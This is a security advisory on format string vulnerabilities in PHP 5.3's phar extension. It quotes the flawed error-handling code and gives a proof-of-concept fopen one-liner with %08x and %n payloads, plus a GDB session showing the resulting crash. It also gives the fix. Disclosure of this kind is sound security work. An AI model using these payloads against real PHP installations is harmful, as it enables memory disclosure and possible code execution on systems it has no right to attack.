MOPS-2010-027: PHP phar_parse_url Format String Vulnerabilities

May 14th, 2010

The new phar extension in PHP 5.3 contains several format string vulnerabilities in the internal phar_parse_url() function.

Affected versions

Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser.

Detailed information

Within the `phar_parse_url()` function in `ext/phar/stream.c` there exist a three format string vulnerabilities in the error handling.

```
    if (phar_open_or_create_filename(resource->host, arch_len, NULL, 0, 0, options, &phar, &error TS
    {
        if (error) {
            if (!(options & PHP_STREAM_URL_STAT_QUIET)) {
                php_stream_wrapper_log_error(wrapper, options TSRMLS_CC, error);
            }
            efree(error);
        }
        php_url_free(resource);
        return NULL;
    }
    if (phar->is_persistent && FAILURE == phar_copy_on_write(&phar TSRMLS_CC)) {
        if (error) {
            spprintf(&error, 0, "Cannot open cached phar '%s' as writeable, copy on write failed", resource
            if (!(options & PHP_STREAM_URL_STAT_QUIET)) {
                php_stream_wrapper_log_error(wrapper, options TSRMLS_CC, error);
            }
            efree(error);
        }
        php_url_free(resource);
        return NULL;
    }
} else {
    if (phar_open_from_filename(resource->host, arch_len, NULL, 0, options, NULL, &error TSRML
    {
        if (error) {
            if (!(options & PHP_STREAM_URL_STAT_QUIET)) {
                php_stream_wrapper_log_error(wrapper, options TSRMLS_CC, error);
            }
            efree(error);
        }
```

On error the `php_stream_wrapper_log_error()` function is called with the variable `error` as format string in various places. Because error can contain user input this allows the usual format string attacks e.g. `"%08x"` for information leaks and `"%n"` for memory corruption. However the later attack is only possible in insecure PHP installations (those not patched with the Suhosin Patch).

It is important to realize that these vulnerabilities might allow remote code execution in certain installations of PHP through file functions exposed to user input. This is possible because every default PHP 5.3 installation comes with the phar.phar file put in a known location on the harddisk.

Proof of concept, exploit or instructions to reproduce

The following code demonstrates one of the format string vulnerabilities in the phar extension that can be triggered by most of the file functions. This means many file function that are exposed to user input

can be used to leak memory.

$ php -r "fopen('phar:///usr/bin/phar.phar/*%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x

Warning: fopen(phar:///usr/bin/phar.phar/*%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x

In insecure PHP installations (those without the Suhosin Patch applied) this vulnerability can also result in memory corruption and code execution.

And here is the GDB session demonstrating the corruption.

```
(gdb) run -r "fopen('phar:///usr/bin/phar.phar/*%n-%n-%n-%n-%n-%n-%n-%n','r');"
Starting program: /usr/bin/php -r "fopen('phar:///usr/bin/phar.phar/*%n-%n-%n-%n-%n-%n-%n-%n','
Reading symbols for shared libraries ... done
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x0000000000000000
0x00000001002c8181 in vspprintf ()
(gdb) x/2i $rip
0x1002c8181 <vspprintf+4213>:   mov    %r15d,(%rax)
0x1002c8184 <vspprintf+4216>:   mov    %r15,%rbx
(gdb) i r $rax
rax            0x0  0
```

Notes

These vulnerabilities can be fixed by just calling `php_stream_wrapper_log_error()` with `"%s"` and `error` as parameter.